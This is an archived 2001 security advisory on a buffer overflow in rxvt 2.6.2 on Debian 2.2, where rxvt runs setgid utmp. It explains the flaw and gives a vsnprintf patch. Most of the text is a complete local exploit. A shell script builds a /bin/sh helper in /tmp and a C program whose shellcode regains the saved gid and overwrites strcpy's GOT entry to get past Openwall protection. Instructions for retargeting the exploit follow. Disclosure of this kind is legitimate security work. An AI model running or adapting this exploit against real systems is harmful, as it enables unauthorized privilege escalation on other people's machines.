RXVT Vulnerability
----------------------------------------------------------------
Samuel "Zorgon" Dralet <samuel.draletat_private>
----------------------------------------------------------------
Date : 2001/06/05
Vulnerable system : rxvt 2.6.2 on Debian Linux 2.2
Table of contents
1. Overview
2. Solutions
3. Exploit
4. Upgrade
5. Code
----------------------------------------------------------------
-------{ 1. Overview
> Rxvt is a heavily modified version of xvt. Xvt is an X terminal-emulator
> that is designed to be more or less compatible with xterm while using much
> less swap space.
The latest rxvt versions are available via the web at:
http://www.rxvt.org
Versions 2.6.2 contain a buffer overflow vulnerability. As rxvt is installed
setgid utmp on Debian 2.2, an attacker might be able to successfully exploit
this vulnerability and gain special privileges on the local system.
-------{ 2. Solution
Status vendor : contacted two weeks ago but no response.
Remove the setgid bit from rxvt or apply this patch:
*** command.c Mon Jun 4 23:13:34 2001
--- command.patch.c Mon Jun 4 23:15:11 2001
***************
*** 2378,2384 ****
unsigned char buf[256];
va_start(arg_ptr, fmt);
! vsprintf(buf, fmt, arg_ptr);
va_end(arg_ptr);
tt_write(buf, strlen(buf));
}
--- 2378,2384 ----
unsigned char buf[256];
va_start(arg_ptr, fmt);
! vsnprintf(buf, sizeof(buf), fmt, arg_ptr);
va_end(arg_ptr);
tt_write(buf, strlen(buf));
}
-------{ 3. Exploit
The program described here exploits the buffer overflow vulnerability present
in the command.c file:
> tt_printf("\033]l%s\033\\", s ? s : "");
with tt_printf() :
void
tt_printf(const char *fmt,...)
{
int i;
va_list arg_ptr;
unsigned char buf[256];
va_start(arg_ptr, fmt);
vsprintf(buf, fmt, arg_ptr);
va_end(arg_ptr);
tt_write(buf, strlen(buf));
}
's' is a string provided to rxvt by the user thanks to the '-T' option.
Another option '-name' is also vulnerable.
Rxvt supports the main escape sequences, so when a user types the
sequence 'echo -ne "\033[21t"', the window title will be displayed to stdout.
If this user supplies a title with more than 256 caracters, rxvt will do a
segmentation fault.
This vulnerability is a classic buffer overflow besides several details.
At first, rxvt drops permissions at once in main.c but in an incorrect way.
It's then possible to recover the permissions via the saved gid, which is done
very well by the shellcode.
After having written the first version of exploit, /bin/sh was started well but
terminated before a prompt was returned to the user. In fact, Rxvt closes stdin
and stdout before opening the window. It has thus been necessary to write a program
which recovers the name of the tty (thanks to stderr which is always open), which
opens again stdin and stdout, and which runs then /bin/sh. This program '/tmp/xx'
is run by the shellcode.
The exploit should work against systems protected with the Linux Kernel patch from
the Openwall Project. The idea is to copy the shellcode to the GOT that is executable.
The current version successfully exploits rxvt on Debian Linux 2.2 system (rxvt version
2.6.2)
-------{ 4. Upgrade
To add some platforms, you must give three parameters :
1) path of binary
2) entry in the PLT strcpy
$objdump -T /path/to/filename | grep strcpy
0804add0 DF *UND* 00000020 GLIBC_2.0 strcpy
^^^^^^^^
3) entry in the GOT strcpy
$objdump -R /path/to/filename | grep strcpy
0805c964 R_386_JUMP_SLOT strcpy
^^^^^^^^
-------{ 5. Code
#!/bin/sh
#
# MasterSecuritY <www.mastersecurity.fr>
#
# xrxvt.sh - Local exploit for xrxvt 2.6.2
# Copyright (C) 2001 Michel "MaXX" Kaempf <maxxat_private>
# Copyright (C) 2001 Samuel "Zorgon" Dralet <samuel.draletat_private>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or (at
# your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
echo "rxvt-2.6.2 exploit for Linux Debian 2.2"
echo "Which target :"
echo -e "\t0. rxvt 2.6.2 (package deb) on Debian 2.2"
echo -e "\t1. rxvt 2.6.2 (tarball) on Debian 2.2"
echo
echo -n "target : "
read TARGET
cat > /tmp/xx.c <<EOF
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int main()
{
char * p_ttyname;
char * argv[] = { "/bin/sh", NULL };
p_ttyname = ttyname( STDERR_FILENO );
if ( p_ttyname == NULL ) {
return( -1 );
}
if ( open(p_ttyname, O_RDONLY) != STDIN_FILENO ) {
return( -1 );
}
if ( open(p_ttyname, O_WRONLY) != STDOUT_FILENO ) {
return( -1 );
}
execve( argv[0], argv, NULL );
return( -1 );
}
EOF
gcc -o /tmp/xx /tmp/xx.c
rm -f /tmp/xx.c
cat > /tmp/xrxvt.c << EOF
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <X11/X.h>
#include <X11/Xlib.h>
#define BUF 256 /* buffer size */
#define EBP 4
#define EIP 4
#define ESC 3 /* alignment */
#define GID "\x2b"
#define DISPLAY ":0"
#define STACK ( 0xc0000000 - 4 )
Display *d;
char shellcode[] =
/* setregid( -1, GID ); */
"\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1"GID"\x31\xc0\xb0\x47\xcd\x80"
/* setregid( GID, GID ); */
"\x31\xdb\x31\xc9\xb3"GID"\xb1"GID"\x31\xc0\xb0\x47\xcd\x80"
/* Aleph One ;) */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/tmp/xx";
struct os
{
int id;
char *desc;
char *path;
unsigned long plt;
unsigned long got;
};
struct os target[]=
{
{ 0, "rxvt 2.6.2 (package deb) on Debian 2.2", "/usr/X11R6/bin/rxvt-xterm",
0x0804add0, 0x0805c964 },
{ 1, "rxvt 2.6.2 (tarball) on Debian 2.2", "/usr/local/bin/rxvt",
0x0804a690, 0x08059e1c },
{ 2, NULL, 0, 0 }
};
void usage ( char *cmd )
{
int i;
fprintf(stderr, "rxvt-2.6.2 exploit for Linux Debian 2.2\n");
fprintf(stderr, "usage: %s <target>\n",cmd);
fprintf(stderr, "with target:\n\n");
for( i < 0; i < sizeof(target) / sizeof(struct os); i++ )
fprintf(stderr, "%d. %s\n", i, target[i].desc);
exit( -1 );
}
int main(int argc, char *argv[])
{
char buffer[ BUF - ESC + EBP + EIP + 12 + 1];
char * exec_argv[] = { NULL, "-T", buffer, NULL };
char * envp[] = { shellcode, NULL };
int i, t;
char *path;
if ( argc != 2 )
usage(argv[0]);
t = atoi(argv[1]);
if( t < 0 || t >= sizeof(target) / sizeof(struct os) )
usage( argv[0] );
path = (char *)malloc(strlen(target[t].path)+1);
strcpy(path,target[t].path);
if ( (d = XOpenDisplay(DISPLAY)) == NULL ){
fprintf(stderr, "Unable to open display: %s\n", DISPLAY);
exit(10);
}
for ( i = 0; i < BUF - ESC + EBP; i++ ) {
buffer[ i ] = 'A';
}
*( (size_t *) &(buffer[i]) ) = target[t].plt;
i += sizeof(size_t);
*( (size_t *) &(buffer[i]) ) = target[t].got + 4;
i += sizeof(size_t);
*( (size_t *) &(buffer[i]) ) = target[t].got + 4;
i += sizeof(size_t);
*( (size_t *) &(buffer[i]) ) = STACK - (strlen(path) + 1) - sizeof(shellcode);
i += sizeof(size_t);
buffer[i] = '\0';
exec_argv[0] = path;
execve( exec_argv[0], exec_argv, envp );
return( -1 );
}
EOF
gcc -o /tmp/xrxvt /tmp/xrxvt.c -lX11
rm -f /tmp/xrxvt.c
echo "Go to rxvt window and type 'echo -ne \"\033[21t\"' ..."
echo "And see ..."
/tmp/xrxvt $TARGET
This archive was generated by hypermail 2b30 : Fri Jun 15 2001 - 19:23:37 PDT